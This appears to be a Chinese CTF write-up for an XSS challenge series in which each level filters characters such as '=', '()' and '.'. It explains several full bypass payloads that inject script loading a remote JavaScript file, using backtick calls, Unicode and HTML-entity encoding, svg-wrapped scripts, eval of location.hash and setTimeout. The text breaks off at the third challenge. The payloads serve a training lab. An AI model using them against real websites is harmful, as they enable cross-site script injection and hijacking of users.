【XSS】XSS修炼之独孤九剑
题目地址
题目作者给出的解题思路
http://xcao.vip/test/xss/XSS修炼之独孤九剑.pdf
独孤九剑-第一式
题目
过滤了等号
=
、小括号()
,要求加载任意 JS 代码。成功加载 http://xcao.vip/xss/alert.js 表示完成挑战
方法一
首先应该思考,在 JavaScript 中,加载 JS 代码,有哪些方式?
首先想到了
<script src="http://xcao.vip/xss/alert.js"></script>
这是最基本的加载方式。
此时我们需要在页面中加载这个 JS 代码,应该想到使用 document.write()
,将上面的代码写入 HTML 页面,从而执行 JS 代码。
那么如果要使用这个方法,还得在外面再使用一个 <script>
标签。即:
<script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>
然后再回到题目中来。
查看 HTML 代码:
<html>
<head>
<meta charset="utf-8">
<title>独孤九剑-第一式 Design by 香草</title>
</head>
<body>
<h2>过滤了 =(),少侠骨骼惊奇,必是练武奇才</h2>
<h2>要求加载任意JS代码,成功加载http://xcao.vip/xss/alert.js 表示完成挑战</h2>
<input type="text" value="s">
</body>
</html>
题目只有一个输入框,并且无法通过输入框提交内容。而同时我们注意到地址栏里有通过 GET 方式提交的参数:
尝试修改参数,成功修改了输入框中的内容:
那么 XSS 攻击的点就在这里。
根据页面的源代码,自己构造的 XSS 攻击代码,首先应当将原本的 <input>
标签闭合,即在 123123
后面跟上 ">
:
从源代码中可以看到,自己输入的 ">
成功将标签闭合,原本存在的 ">
被孤立了出来:
此时我们就可以在后面跟上我们自己的 JS 代码进行 XSS 攻击了:
"><script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>
但是别忘了题目的过滤条件,在这里等号 =
和小括号 ()
不起作用。
接下来应当思考怎么绕过。
通过查找资料我们得知,可以用反引号代替小括号实现绕过。要绕过等号 =
的过滤,可以将 document.write()
中的内容进行 Unicode 编码,即:
"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
提交内容,成功绕过:
完整 Payload:
http://xcao.vip/test/xss1.php?data=123123"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
方法二
题目作者给出的一种方法:
http://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
我们来分析这里用了些什么方法。
首先,原作者提到,自己使用了 <svg>
标签,是因为在 <svg>
标签中的 <script>
标签可以使用 HTML 编码,从而避开题目的过滤。
解码后的内容为:
http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
我们再将 HTML 编码进行解码,可得:
http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
完整的构造这时才得以清晰展现在我们眼前。
首先是 eval()
函数,eval()
函数计算 JavaScript 字符串,并把它作为脚本代码来执行。
如果参数是一个表达式,eval()
函数将执行表达式。如果参数是 JavaScript 语句,eval()
将执行 JavaScript 语句。
接下来是 location.hash.slice(1)
,hash
是 location
对象中的一个属性,是一个可读可写的字符串,该字符串是 URL 的锚部分(从 #
号开始的部分)。
而 slice(start, end)
方法可提取字符串的某个部分,并以新的字符串返回被提取的部分。
start
参数字符串中第一个字符位置为 0,第二个字符位置为 1,以此类推。
因此,综上可得,location.hash.slice(1)
的含义就是获取 #
号之后的内容,即:
with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
这里的 with
用法其实也可以替换成
document.body.appendChild(document.createElement('script')).src='http://xcao.vip/test/alert.js'
接下来进一步分析代码。
appendChild()
方法可向节点的子节点列表的末尾添加新的子节点。也就是说,从 DOM 树的角度,这个方法向 body
节点的子节点列表的最后添加了一个 script
节点,相当于直接添加了一个 <script>
标签。
这样一切都解释得通了。妙哉!
独孤九剑-第二式
题目
在第一式的基础之上,增加了对点
.
的过滤
方法一
在这种情况下,document.write
这样的用法肯定就不起作用了,得想想怎么绕过对点 .
的过滤。
通过查找资料我们可以得知,JavaScript 的对象的属性的读取可以通过类似数组的方式来进行,比如对象 document
的 write
方法就可以写成 document['write']
。
这样就成功绕过了题目对点 .
的过滤。
基于第一式方法一,我们直接将 document.write
写成 document['write']
,其他照旧,则有了:
http://xcao.vip/test/xss1.php?data=123123"><script>document['write']`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
成功加载:
方法二
同第一式方法二一样,由于本身构造的 #
锚点并不会作为参数被传入后台,并且经过 URL 解码后的 HTML 编码也不含有被过滤的点 .
,因此第一式方法二的构造语句可以原封不动地拿来使用。即:
http://xcao.vip/test/xss2.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
成功加载:
方法三
题目作者给出的一种方法:
http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
作者称,这样是通过 setTimeout
以及用反引号代替 ()
, 同时采用 Unicode 编码绕过对 ()
和 .
的限制。
在这串代码中,setTimeout()
是属于 window
的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。
这里缺省了时间的参数,相当于不需要等待,直接执行。
中间的 Unicode 编码的内容还是之前的 eval(location.hash.slice(1))
,总体上思路和第一式方法二差不多。
独孤九剑-第三式
题目
放开了
=
的过滤,新增了&#\
的过滤
方法一
新增了 &#\
的过滤,这明显就是冲着 HTML 编码和 Unicode 编码来的。
恶意不小啊